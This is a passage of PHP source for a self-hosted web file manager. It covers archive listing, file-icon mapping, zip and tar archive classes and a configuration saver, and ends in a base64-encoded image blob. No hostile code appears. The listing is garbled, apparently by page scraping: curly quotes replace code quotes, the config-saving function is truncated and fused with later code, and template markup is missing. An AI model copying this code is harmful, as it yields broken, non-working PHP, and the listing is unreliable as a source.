‘filesize’ => zip_entry_filesize($zip_entry),
‘compressed_size’ => zip_entry_compressedsize($zip_entry),
‘folder’ => $zip_folder
//’compression_method’ => zip_entry_compressionmethod($zip_entry),
);
}
zip_close($arch);
return $filenames;
}
} elseif($ext == ‘tar’ && class_exists(‘PharData’)) {
$archive = new PharData($path);
$filenames = array();
foreach(new RecursiveIteratorIterator($archive) as $file) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace(“phar://”.$path, ”, $file->getPathName());
$zip_name = substr($zip_name, ($pos = strpos($zip_name, ‘/’)) !== false ? $pos + 1 : 0);
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo($file);
$filenames[] = array(
‘name’ => $zip_name,
‘filesize’ => $zip_info->getSize(),
‘compressed_size’ => $file->getCompressedSize(),
‘folder’ => $zip_folder
);
}
return $filenames;
}
return false;
}

/**
* Encode html entities
* @param string $text
* @return string
*/
function fm_enc($text)
{
return htmlspecialchars($text, ENT_QUOTES, ‘UTF-8’);
}

/**
* Save message in session
* @param string $msg
* @param string $status
*/
function fm_set_msg($msg, $status = ‘ok’)
{
$_SESSION[FM_SESSION_ID][‘message’] = $msg;
$_SESSION[FM_SESSION_ID][‘status’] = $status;
}

/**
* Check if string is in UTF-8
* @param string $string
* @return int
*/
function fm_is_utf8($string)
{
return preg_match(‘//u’, $string);
}

/**
* Convert file name to UTF-8 in Windows
* @param string $filename
* @return string
*/
function fm_convert_win($filename)
{
if (FM_IS_WIN && function_exists(‘iconv’)) {
$filename = iconv(FM_ICONV_INPUT_ENC, ‘UTF-8//IGNORE’, $filename);
}
return $filename;
}

/**
* @param $obj
* @return array
*/
function fm_object_to_array($obj)
{
if (!is_object($obj) && !is_array($obj)) {
return $obj;
}
if (is_object($obj)) {
$obj = get_object_vars($obj);
}
return array_map(‘fm_object_to_array’, $obj);
}

/**
* Get CSS classname for file
* @param string $path
* @return string
*/
function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

switch ($ext) {
case ‘ico’:
case ‘gif’:
case ‘jpg’:
case ‘jpeg’:
case ‘jpc’:
case ‘jp2’:
case ‘jpx’:
case ‘xbm’:
case ‘wbmp’:
case ‘png’:
case ‘bmp’:
case ‘tif’:
case ‘tiff’:
case ‘svg’:
$img = ‘fa fa-picture-o’;
break;
case ‘passwd’:
case ‘ftpquota’:
case ‘sql’:
case ‘js’:
case ‘json’:
case ‘sh’:
case ‘config’:
case ‘twig’:
case ‘tpl’:
case ‘md’:
case ‘gitignore’:
case ‘c’:
case ‘cpp’:
case ‘cs’:
case ‘py’:
case ‘map’:
case ‘lock’:
case ‘dtd’:
$img = ‘fa fa-file-code-o’;
break;
case ‘txt’:
case ‘ini’:
case ‘conf’:
case ‘log’:
case ‘htaccess’:
$img = ‘fa fa-file-text-o’;
break;
case ‘css’:
case ‘less’:
case ‘sass’:
case ‘scss’:
$img = ‘fa fa-css3’;
break;
case ‘zip’:
case ‘rar’:
case ‘gz’:
case ‘tar’:
case ‘7z’:
$img = ‘fa fa-file-archive-o’;
break;
case ‘php’:
case ‘php4’:
case ‘php5’:
case ‘phps’:
case ‘phtml’:
$img = ‘fa fa-code’;
break;
case ‘htm’:
case ‘html’:
case ‘shtml’:
case ‘xhtml’:
$img = ‘fa fa-html5’;
break;
case ‘xml’:
case ‘xsl’:
$img = ‘fa fa-file-excel-o’;
break;
case ‘wav’:
case ‘mp3’:
case ‘mp2’:
case ‘m4a’:
case ‘aac’:
case ‘ogg’:
case ‘oga’:
case ‘wma’:
case ‘mka’:
case ‘flac’:
case ‘ac3’:
case ‘tds’:
$img = ‘fa fa-music’;
break;
case ‘m3u’:
case ‘m3u8’:
case ‘pls’:
case ‘cue’:
$img = ‘fa fa-headphones’;
break;
case ‘avi’:
case ‘mpg’:
case ‘mpeg’:
case ‘mp4’:
case ‘m4v’:
case ‘flv’:
case ‘f4v’:
case ‘ogm’:
case ‘ogv’:
case ‘mov’:
case ‘mkv’:
case ‘3gp’:
case ‘asf’:
case ‘wmv’:
$img = ‘fa fa-file-video-o’;
break;
case ’eml’:
case ‘msg’:
$img = ‘fa fa-envelope-o’;
break;
case ‘xls’:
case ‘xlsx’:
$img = ‘fa fa-file-excel-o’;
break;
case ‘csv’:
$img = ‘fa fa-file-text-o’;
break;
case ‘bak’:
$img = ‘fa fa-clipboard’;
break;
case ‘doc’:
case ‘docx’:
$img = ‘fa fa-file-word-o’;
break;
case ‘ppt’:
case ‘pptx’:
$img = ‘fa fa-file-powerpoint-o’;
break;
case ‘ttf’:
case ‘ttc’:
case ‘otf’:
case ‘woff’:
case ‘woff2’:
case ‘eot’:
case ‘fon’:
$img = ‘fa fa-font’;
break;
case ‘pdf’:
$img = ‘fa fa-file-pdf-o’;
break;
case ‘psd’:
case ‘ai’:
case ‘eps’:
case ‘fla’:
case ‘swf’:
$img = ‘fa fa-file-image-o’;
break;
case ‘exe’:
case ‘msi’:
$img = ‘fa fa-file-o’;
break;
case ‘bat’:
$img = ‘fa fa-terminal’;
break;
default:
$img = ‘fa fa-info-circle’;
}

return $img;
}

/**
* Get image files extensions
* @return array
*/
function fm_get_image_exts()
{
return array(‘ico’, ‘gif’, ‘jpg’, ‘jpeg’, ‘jpc’, ‘jp2’, ‘jpx’, ‘xbm’, ‘wbmp’, ‘png’, ‘bmp’, ‘tif’, ‘tiff’, ‘psd’);
}

/**
* Get video files extensions
* @return array
*/
function fm_get_video_exts()
{
return array(‘webm’, ‘mp4’, ‘m4v’, ‘ogm’, ‘ogv’, ‘mov’);
}

/**
* Get audio files extensions
* @return array
*/
function fm_get_audio_exts()
{
return array(‘wav’, ‘mp3’, ‘ogg’, ‘m4a’);
}

/**
* Get text file extensions
* @return array
*/
function fm_get_text_exts()
{
return array(
‘txt’, ‘css’, ‘ini’, ‘conf’, ‘log’, ‘htaccess’, ‘passwd’, ‘ftpquota’, ‘sql’, ‘js’, ‘json’, ‘sh’, ‘config’,
‘php’, ‘php4’, ‘php5’, ‘phps’, ‘phtml’, ‘htm’, ‘html’, ‘shtml’, ‘xhtml’, ‘xml’, ‘xsl’, ‘m3u’, ‘m3u8’, ‘pls’, ‘cue’,
’eml’, ‘msg’, ‘csv’, ‘bat’, ‘twig’, ‘tpl’, ‘md’, ‘gitignore’, ‘less’, ‘sass’, ‘scss’, ‘c’, ‘cpp’, ‘cs’, ‘py’,
‘map’, ‘lock’, ‘dtd’, ‘svg’,
);
}

/**
* Get mime types of text files
* @return array
*/
function fm_get_text_mimes()
{
return array(
‘application/xml’,
‘application/javascript’,
‘application/x-javascript’,
‘image/svg+xml’,
‘message/rfc822’,
);
}

/**
* Get file names of text files w/o extensions
* @return array
*/
function fm_get_text_names()
{
return array(
‘license’,
‘readme’,
‘authors’,
‘contributors’,
‘changelog’,
);
}

/**
* Get online docs viewer supported files extensions
* @return array
*/
function fm_get_onlineViewer_exts()
{
return array(‘doc’, ‘docx’, ‘xls’, ‘xlsx’, ‘pdf’, ‘ppt’, ‘pptx’, ‘ai’, ‘psd’, ‘dxf’, ‘xps’, ‘rar’);
}

/**
* Class to work with zip files (using ZipArchive)
*/
class FM_Zipper
{
private $zip;

public function __construct()
{
$this->zip = new ZipArchive();
}

/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
* @param string $filename
* @param array|string $files
* @return bool
*/
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}

/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
* @param string $filename
* @param string $path
* @return bool
*/
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}

/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}

/**
* Add folder recursively
* @param string $path
* @return bool
*/
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != ‘.’ && $file != ‘..’) {
if (is_dir($path . ‘/’ . $file)) {
if (!$this->addDir($path . ‘/’ . $file)) {
return false;
}
} elseif (is_file($path . ‘/’ . $file)) {
if (!$this->zip->addFile($path . ‘/’ . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}

/**
* Class to work with Tar files (using PharData)
*/
class FM_Zipper_Tar
{
private $tar;

public function __construct()
{
$this->tar = null;
}

/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
* @param string $filename
* @param array|string $files
* @return bool
*/
public function create($filename, $files)
{
$this->tar = new PharData($filename);
if (is_array($files)) {
foreach ($files as $f) {
if (!$this->addFileOrDir($f)) {
return false;
}
}
return true;
} else {
if ($this->addFileOrDir($files)) {
return true;
}
return false;
}
}

/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
* @param string $filename
* @param string $path
* @return bool
*/
public function unzip($filename, $path)
{
$res = $this->tar->open($filename);
if ($res !== true) {
return false;
}
if ($this->tar->extractTo($path)) {
return true;
}
return false;
}

/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->tar->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}

/**
* Add folder recursively
* @param string $path
* @return bool
*/
private function addDir($path)
{
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != ‘.’ && $file != ‘..’) {
if (is_dir($path . ‘/’ . $file)) {
if (!$this->addDir($path . ‘/’ . $file)) {
return false;
}
} elseif (is_file($path . ‘/’ . $file)) {
try {
$this->tar->addFile($path . ‘/’ . $file);
} catch (Exception $e) {
return false;
}
}
}
}
return true;
}
return false;
}
}

/**
* Save Configuration
*/
class FM_Config
{
var $data;

function __construct()
{
global $root_path, $root_url, $CONFIG;
$fm_url = $root_url.$_SERVER[“PHP_SELF”];
$this->data = array(
‘lang’ => ‘en’,
‘error_reporting’ => true,
‘show_hidden’ => true
);
$data = false;
if (strlen($CONFIG)) {
$data = fm_object_to_array(json_decode($CONFIG));
} else {
$msg = ‘
Error: Cannot load configuration’;
if (substr($fm_url, -1) == ‘/’) {
$fm_url = rtrim($fm_url, ‘/’);
$msg .= ‘
‘;
$msg .= ‘
Seems like you have a trailing slash on the URL.’;
$msg .= ‘
Try this link: ‘ . $fm_url . ‘‘;
}
die($msg);
}
if (is_array($data) && count($data)) $this->data = $data;
else $this->save();
}

function save()
{
global $root_path;
$fm_file = $root_path.$_SERVER[“PHP_SELF”];
$var_name = ‘$CONFIG’;
$var_value = var_export(json_encode($this->data), true);
$config_string = “ if (file_exists($fm_file)) {
$lines = file($fm_file);
if ($fh = @fopen($fm_file, “w”)) {
@fputs($fh, $config_string, strlen($config_string));
for ($x = 3; $x < count($lines); $x++) { @fputs($fh, $lines[$x], strlen($lines[$x])); } @fclose($fh); } } } } //— templates functions /** * Show nav block * @param string $path */ function fm_show_nav_path($path) { global $lang, $sticky_navbar; $isStickyNavBar = $sticky_navbar ? ‘fixed-top’ : ”; ?>

}

/**
* Show message from session
*/
function fm_show_message()
{
if (isset($_SESSION[FM_SESSION_ID][‘message’])) {
$class = isset($_SESSION[FM_SESSION_ID][‘status’]) ? $_SESSION[FM_SESSION_ID][‘status’] : ‘ok’;
echo ‘

‘ . $_SESSION[FM_SESSION_ID][‘message’] . ‘

‘;
unset($_SESSION[FM_SESSION_ID][‘message’]);
unset($_SESSION[FM_SESSION_ID][‘status’]);
}
}

/**
* Show page header in Login Form
*/
function fm_show_header_login()
{
$sprites_ver = ‘20160315’;
header(“Content-Type: text/html; charset=utf-8”);
header(“Expires: Sat, 26 Jul 1997 05:00:00 GMT”);
header(“Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0”);
header(“Pragma: no-cache”);

global $lang;
?>

 

 

 


 


 












QhBCEEIQQhBCEEIQQhBCEEIQQhBHNO3n/ef95/vXetNSEEIQQhBCEEIQQhBCEEIQQhBCEEc07ef95/3n/ef95/1lohBCEEIQQhBCEEIQQhBCEEIQ
RzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBHNO3n/efyEEMUbef95/IQQhBCEEIQQhBCEEIQQhBCEErTVzTnNOIQQxRt5/3n8hBCEEIQ
QhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBCEEIQQxRt5/3n+cc2stIQQhBCEEIQQhBCEEIQQhBCEEIQQIIZxz3n
/ef5xzay0hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBK01c05zTiEEMUbef95/IQQhBCEEIQQhBCEEIQ
QhBCEEc07ef95/IQQxRt5/3n8hBCEEIQQhBCEEIQQhBCEEIQRzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBKUUOWfef95/3n/ef95/IQ
QhBCEEIQQhBCEEIQQhBCEEIQQhBJRW3n/ef95/3n8hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQAAA==’
);
}

?>